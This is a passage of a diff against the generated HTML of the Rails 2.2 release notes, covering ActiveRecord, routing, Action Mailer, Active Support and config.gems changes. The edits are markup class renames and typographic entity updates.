-<div class="para"><p>Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by <tt>rake db:migrate:redo</tt> after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn&#8217;t applied. Also, the migration version was stored as having been executed, which means that it couldn&#8217;t be simply rerun by <tt>rake db:migrate:redo</tt> after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.</p></div>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributor: <a href="http://adam.blog.heroku.com/">Adam Wiggins</a>
@@ -538,7 +367,7 @@ Lead Contributor: <a href="http://adam.blog.heroku.com/">Adam Wiggins</a>
<p>
More information:
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/">DDL Transactions</a>
@@ -553,7 +382,7 @@ More information:
</li>
</ul></div>
<h3 id="_connection_pooling">5.2. Connection Pooling</h3>
-<div class="para"><p>Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a <tt>pool</tt> key to your <tt>database.yml</tt> to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a <tt>wait_timeout</tt> that defaults to 5 seconds before giving up. <tt>ActiveRecord::Base.connection_pool</tt> gives you direct access to the pool if you need it.</p></div>
+<div class="paragraph"><p>Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a <tt>pool</tt> key to your <tt>database.yml</tt> to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There&#8217;s also a <tt>wait_timeout</tt> that defaults to 5 seconds before giving up. <tt>ActiveRecord::Base.connection_pool</tt> gives you direct access to the pool if you need it.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -564,9 +393,8 @@ http://www.gnu.org/software/src-highlite -->
username<span style="color: #990000">:</span> root
database<span style="color: #990000">:</span> sample_development
pool<span style="color: #990000">:</span> <span style="color: #993399">10</span>
- wait_timeout<span style="color: #990000">:</span> <span style="color: #993399">10</span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
+ wait_timeout<span style="color: #990000">:</span> <span style="color: #993399">10</span></tt></pre></div></div>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributor: <a href="http://blog.nicksieger.com/">Nick Sieger</a>
@@ -576,17 +404,17 @@ Lead Contributor: <a href="http://blog.nicksieger.com/">Nick Sieger</a>
<p>
More information:
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
-<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools">What's New in Edge Rails: Connection Pools</a>
+<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools">What&#8217;s New in Edge Rails: Connection Pools</a>
</p>
</li>
</ul></div>
</li>
</ul></div>
<h3 id="_hashes_for_join_table_conditions">5.3. Hashes for Join Table Conditions</h3>
-<div class="para"><p>You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.</p></div>
+<div class="paragraph"><p>You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -601,35 +429,33 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-style: italic"><span style="color: #9A1900"># Get all products with copyright-free photos:</span></span>
-Product<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>joins <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>photos <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>copyright <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span> <span style="color: #FF0000">}}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
+Product<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>joins <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>photos <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>copyright <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span> <span style="color: #FF0000">}}</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="ulist"><ul>
<li>
<p>
More information:
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
-<a href="http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions">What's New in Edge Rails: Easy Join Table Conditions</a>
+<a href="http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions">What&#8217;s New in Edge Rails: Easy Join Table Conditions</a>
</p>
</li>
</ul></div>
</li>
</ul></div>
<h3 id="_new_dynamic_finders">5.4. New Dynamic Finders</h3>
-<div class="para"><p>Two new sets of methods have been added to Active Record's dynamic finders family.</p></div>
+<div class="paragraph"><p>Two new sets of methods have been added to Active Record&#8217;s dynamic finders family.</p></div>
<h4 id="_tt_find_last_by_lt_attribute_gt_tt">5.4.1. <tt>find_last_by_&lt;attribute&gt;</tt></h4>
-<div class="para"><p>The <tt>find_last_by_&lt;attribute&gt;</tt> method is equivalent to <tt>Model.last(:conditions &#8658; {:attribute &#8658; value})</tt></p></div>
+<div class="paragraph"><p>The <tt>find_last_by_&lt;attribute&gt;</tt> method is equivalent to <tt>Model.last(:conditions =&gt; {:attribute =&gt; value})</tt></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Get the last user who signed up from London</span></span>
-User<span style="color: #990000">.</span>find_last_by_city<span style="color: #990000">(</span><span style="color: #FF0000">'London'</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
+User<span style="color: #990000">.</span>find_last_by_city<span style="color: #990000">(</span><span style="color: #FF0000">'London'</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributor: <a href="http://www.workingwithrails.com/person/9147-emilio-tagua">Emilio Tagua</a>
@@ -637,16 +463,15 @@ Lead Contributor: <a href="http://www.workingwithrails.com/person/9147-emilio-ta
</li>
</ul></div>
<h4 id="_tt_find_by_lt_attribute_gt_tt">5.4.2. <tt>find_by_&lt;attribute&gt;!</tt></h4>
-<div class="para"><p>The new bang! version of <tt>find_by_&lt;attribute&gt;!</tt> is equivalent to <tt>Model.first(:conditions &#8658; {:attribute &#8658; value}) || raise ActiveRecord::RecordNotFound</tt> Instead of returning <tt>nil</tt> if it can't find a matching record, this method will raise an exception if it cannot find a match.</p></div>
+<div class="paragraph"><p>The new bang! version of <tt>find_by_&lt;attribute&gt;!</tt> is equivalent to <tt>Model.first(:conditions =&gt; {:attribute =&gt; value}) || raise ActiveRecord::RecordNotFound</tt> Instead of returning <tt>nil</tt> if it can&#8217;t find a matching record, this method will raise an exception if it cannot find a match.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!</span></span>
-User<span style="color: #990000">.</span>find_by_name!<span style="color: #990000">(</span><span style="color: #FF0000">'Moby'</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
+User<span style="color: #990000">.</span>find_by_name!<span style="color: #990000">(</span><span style="color: #FF0000">'Moby'</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributor: <a href="http://blog.hasmanythrough.com">Josh Susser</a>
@@ -654,8 +479,8 @@ Lead Contributor: <a href="http://blog.hasmanythrough.com">Josh Susser</a>
</li>
</ul></div>
<h3 id="_associations_respect_private_protected_scope">5.5. Associations Respect Private/Protected Scope</h3>
-<div class="para"><p>Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) <tt>@user.account.private_method</tt> would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use <tt>@user.account.send(:private_method)</tt> (or make the method public instead of private or protected). Please note that if you're overriding <tt>method_missing</tt>, you should also override <tt>respond_to</tt> to match the behavior in order for associations to function normally.</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) <tt>@user.account.private_method</tt> would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use <tt>@user.account.send(:private_method)</tt> (or make the method public instead of private or protected). Please note that if you&#8217;re overriding <tt>method_missing</tt>, you should also override <tt>respond_to</tt> to match the behavior in order for associations to function normally.</p></div>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributor: Adam Milligan
@@ -665,7 +490,7 @@ Lead Contributor: Adam Milligan
<p>
More information:
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/">Rails 2.2 Change: Private Methods on Association Proxies are Private</a>
@@ -675,7 +500,7 @@ More information:
</li>
</ul></div>
<h3 id="_other_activerecord_changes">5.6. Other ActiveRecord Changes</h3>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
<tt>rake db:migrate:redo</tt> now accepts an optional VERSION to target that specific migration to redo
@@ -688,7 +513,7 @@ Set <tt>config.active_record.timestamped_migrations = false</tt> to have migrati
</li>
<li>
<p>
-Counter cache columns (for associations declared with <tt>:counter_cache &#8658; true</tt>) do not need to be initialized to zero any longer.
+Counter cache columns (for associations declared with <tt>:counter_cache =&gt; true</tt>) do not need to be initialized to zero any longer.
</p>
</li>
<li>
@@ -700,9 +525,9 @@ Counter cache columns (for associations declared with <tt>:counter_cache &#8658;
</div>
<h2 id="_action_controller">6. Action Controller</h2>
<div class="sectionbody">
-<div class="para"><p>On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.</p></div>
+<div class="paragraph"><p>On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.</p></div>
<h3 id="_shallow_route_nesting">6.1. Shallow Route Nesting</h3>
-<div class="para"><p>Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.</p></div>
+<div class="paragraph"><p>Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -712,9 +537,8 @@ http://www.gnu.org/software/src-highlite -->
publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will enable recognition of (among others) these routes:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will enable recognition of (among others) these routes:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>/publishers/1 ==&gt; publisher_path(1)
@@ -723,7 +547,7 @@ http://www.gnu.org/software/src-highlite -->
/magazines/2/photos ==&gt; magazines_photos_path(2)
/photos/3 ==&gt; photo_path(3)</tt></pre>
</div></div>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributor: <a href="http://www.unwwwired.net/">S. Brent Faulkner</a>
@@ -733,7 +557,7 @@ Lead Contributor: <a href="http://www.unwwwired.net/">S. Brent Faulkner</a>
<p>
More information:
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://guides.rails.info/routing/routing_outside_in.html#_nested_resources">Rails Routing from the Outside In</a>
@@ -741,22 +565,21 @@ More information:
</li>
<li>
<p>
-<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes">What's New in Edge Rails: Shallow Routes</a>
+<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes">What&#8217;s New in Edge Rails: Shallow Routes</a>
</p>
</li>
</ul></div>
</li>
</ul></div>
<h3 id="_method_arrays_for_member_or_collection_routes">6.2. Method Arrays for Member or Collection Routes</h3>
-<div class="para"><p>You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:</p></div>
+<div class="paragraph"><p>You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributor: <a href="http://brennandunn.com/">Brennan Dunn</a>
@@ -764,16 +587,15 @@ Lead Contributor: <a href="http://brennandunn.com/">Brennan Dunn</a>
</li>
</ul></div>
<h3 id="_resources_with_specific_actions">6.3. Resources With Specific Actions</h3>
-<div class="para"><p>By default, when you use <tt>map.resources</tt> to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special <tt>:all</tt> or <tt>:none</tt> options. These options are inherited by nested resources.</p></div>
+<div class="paragraph"><p>By default, when you use <tt>map.resources</tt> to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special <tt>:all</tt> or <tt>:none</tt> options. These options are inherited by nested resources.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>index<span style="color: #990000">,</span> <span style="color: #990000">:</span>show<span style="color: #990000">]</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>except <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>destroy
-</tt></pre></div></div>
-<div class="ilist"><ul>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>except <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>destroy</tt></pre></div></div>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributor: <a href="http://experthuman.com/">Tom Stuart</a>
@@ -781,7 +603,7 @@ Lead Contributor: <a href="http://experthuman.com/">Tom Stuart</a>
</li>
</ul></div>
<h3 id="_other_action_controller_changes">6.4. Other Action Controller Changes</h3>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
You can now easily <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">show a custom error page</a> for exceptions raised while routing a request.
@@ -826,7 +648,7 @@ Polymorphic URLs behave more sensibly if a passed parameter is nil. For example,
</div>
<h2 id="_action_view">7. Action View</h2>
<div class="sectionbody">
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
<tt>javascript_include_tag</tt> and <tt>stylesheet_link_tag</tt> support a new <tt>:recursive</tt> option to be used along with <tt>:all</tt>, so that you can load an entire tree of files with a single line of code.
@@ -839,7 +661,7 @@ The included Prototype javascript library has been upgraded to version 1.6.0.3.
</li>
<li>
<p>
-<tt>RJS#page.reload</tt> to reload the browser's current location via javascript
+<tt>RJS#page.reload</tt> to reload the browser&#8217;s current location via javascript
</p>
</li>
<li>
@@ -851,28 +673,28 @@ The <tt>atom_feed</tt> helper now takes an <tt>:instruct</tt> option to let you
</div>
<h2 id="_action_mailer">8. Action Mailer</h2>
<div class="sectionbody">
-<div class="para"><p>Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the <tt>CustomerMailer</tt> class expects to use <tt>layouts/customer_mailer.html.erb</tt>.</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the <tt>CustomerMailer</tt> class expects to use <tt>layouts/customer_mailer.html.erb</tt>.</p></div>
+<div class="ulist"><ul>
<li>
<p>
More information:
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
-<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts">What's New in Edge Rails: Mailer Layouts</a>
+<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts">What&#8217;s New in Edge Rails: Mailer Layouts</a>
</p>
</li>
</ul></div>
</li>
</ul></div>
-<div class="para"><p>Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.</p></div>
+<div class="paragraph"><p>Action Mailer now offers built-in support for GMail&#8217;s SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.</p></div>
</div>
<h2 id="_active_support">9. Active Support</h2>
<div class="sectionbody">
-<div class="para"><p>Active Support now offers built-in memoization for Rails applications, the <tt>each_with_object</tt> method, prefix support on delegates, and various other new utility methods.</p></div>
+<div class="paragraph"><p>Active Support now offers built-in memoization for Rails applications, the <tt>each_with_object</tt> method, prefix support on delegates, and various other new utility methods.</p></div>
<h3 id="_memoization">9.1. Memoization</h3>
-<div class="para"><p>Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:</p></div>
+<div class="paragraph"><p>Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You&#8217;ve probably used this pattern in your own applications:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -880,9 +702,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> full_name
<span style="color: #009900">@full_name</span> <span style="color: #990000">||=</span> <span style="color: #FF0000">"#{first_name} #{last_name}"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Memoization lets you handle this task in a declarative fashion:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Memoization lets you handle this task in a declarative fashion:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -893,10 +714,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> full_name
<span style="color: #FF0000">"#{first_name} #{last_name}"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-memoize <span style="color: #990000">:</span>full_name
-</tt></pre></div></div>
-<div class="para"><p>Other features of memoization include <tt>unmemoize</tt>, <tt>unmemoize_all</tt>, and <tt>memoize_all</tt> to turn memoization on or off.</p></div>
-<div class="ilist"><ul>
+memoize <span style="color: #990000">:</span>full_name</tt></pre></div></div>
+<div class="paragraph"><p>Other features of memoization include <tt>unmemoize</tt>, <tt>unmemoize_all</tt>, and <tt>memoize_all</tt> to turn memoization on or off.</p></div>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributor: <a href="http://joshpeek.com/">Josh Peek</a>
@@ -906,10 +726,10 @@ Lead Contributor: <a href="http://joshpeek.com/">Josh Peek</a>
<p>
More information:
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
-<a href="http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization">What's New in Edge Rails: Easy Memoization</a>
+<a href="http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization">What&#8217;s New in Edge Rails: Easy Memoization</a>
</p>
</li>
<li>
@@ -921,17 +741,16 @@ More information:
</li>
</ul></div>
<h3 id="_tt_each_with_object_tt">9.2. <tt>each_with_object</tt></h3>
-<div class="para"><p>The <tt>each_with_object</tt> method provides an alternative to <tt>inject</tt>, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.</p></div>
+<div class="paragraph"><p>The <tt>each_with_object</tt> method provides an alternative to <tt>inject</tt>, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">%</span>w<span style="color: #990000">(</span>foo bar<span style="color: #990000">).</span>each_with_object<span style="color: #990000">(</span><span style="color: #FF0000">{}</span><span style="color: #990000">)</span> <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>str<span style="color: #990000">,</span> hsh<span style="color: #990000">|</span> hsh<span style="color: #990000">[</span>str<span style="color: #990000">]</span> <span style="color: #990000">=</span> str<span style="color: #990000">.</span>upcase <span style="color: #FF0000">}</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {'foo' =&gt; 'FOO', 'bar' =&gt; 'BAR'}</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Lead Contributor: <a href="http://therealadam.com/">Adam Keys</a></p></div>
+<pre><tt><span style="color: #990000">%</span>w<span style="color: #990000">(</span>foo bar<span style="color: #990000">).</span>each_with_object<span style="color: #990000">(</span><span style="color: #FF0000">{}</span><span style="color: #990000">)</span> <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>str<span style="color: #990000">,</span> hsh<span style="color: #990000">|</span> hsh<span style="color: #990000">[</span>str<span style="color: #990000">]</span> <span style="color: #990000">=</span> str<span style="color: #990000">.</span>upcase <span style="color: #FF0000">}</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {'foo' =&gt; 'FOO', 'bar' =&gt; 'BAR'}</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Lead Contributor: <a href="http://therealadam.com/">Adam Keys</a></p></div>
<h3 id="_delegates_with_prefixes">9.3. Delegates With Prefixes</h3>
-<div class="para"><p>If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:</p></div>
+<div class="paragraph"><p>If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -940,9 +759,8 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Vendor <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_one <span style="color: #990000">:</span>account
delegate <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span>to <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>prefix <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will produce delegated methods <tt>vendor#account_email</tt> and <tt>vendor#account_password</tt>. You can also specify a custom prefix:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will produce delegated methods <tt>vendor#account_email</tt> and <tt>vendor#account_password</tt>. You can also specify a custom prefix:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -951,12 +769,11 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Vendor <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_one <span style="color: #990000">:</span>account
delegate <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span>to <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>prefix <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>owner
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will produce delegated methods <tt>vendor#owner_email</tt> and <tt>vendor#owner_password</tt>.</p></div>
-<div class="para"><p>Lead Contributor: <a href="http://workingwithrails.com/person/5830-daniel-schierbeck">Daniel Schierbeck</a></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will produce delegated methods <tt>vendor#owner_email</tt> and <tt>vendor#owner_password</tt>.</p></div>
+<div class="paragraph"><p>Lead Contributor: <a href="http://workingwithrails.com/person/5830-daniel-schierbeck">Daniel Schierbeck</a></p></div>
<h3 id="_other_active_support_changes">9.4. Other Active Support Changes</h3>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
Extensive updates to <tt>ActiveSupport::Multibyte</tt>, including Ruby 1.9 compatibility fixes.
@@ -999,17 +816,17 @@ The included TzInfo library has been upgraded to version 0.3.12.
</li>
<li>
<p>
-<tt>ActiveSuport::StringInquirer</tt> gives you a pretty way to test for equality in strings: <tt>ActiveSupport::StringInquirer.new("abc").abc? &#8658; true</tt>
+<tt>ActiveSuport::StringInquirer</tt> gives you a pretty way to test for equality in strings: <tt>ActiveSupport::StringInquirer.new("abc").abc? =&gt; true</tt>
</p>
</li>
</ul></div>
</div>
<h2 id="_railties">10. Railties</h2>
<div class="sectionbody">
-<div class="para"><p>In Railties (the core code of Rails itself) the biggest changes are in the <tt>config.gems</tt> mechanism.</p></div>
+<div class="paragraph"><p>In Railties (the core code of Rails itself) the biggest changes are in the <tt>config.gems</tt> mechanism.</p></div>
<h3 id="_tt_config_gems_tt">10.1. <tt>config.gems</tt></h3>
-<div class="para"><p>To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in <tt>/vendor/gems</tt>. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>To avoid deployment issues and make Rails applications more self-contained, it&#8217;s possible to place copies of all of the gems that your Rails application requires in <tt>/vendor/gems</tt>. This capability first appeared in Rails 2.1, but it&#8217;s much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>config.gem <em>gem_name</em></tt> in your <tt>config/environment.rb</tt> file
@@ -1046,8 +863,8 @@ The included TzInfo library has been upgraded to version 0.3.12.
</p>
</li>
</ul></div>
-<div class="para"><p>You can unpack or install a single gem by specifying <tt>GEM=<em>gem_name</em></tt> on the command line.</p></div>
-<div class="ilist"><ul>
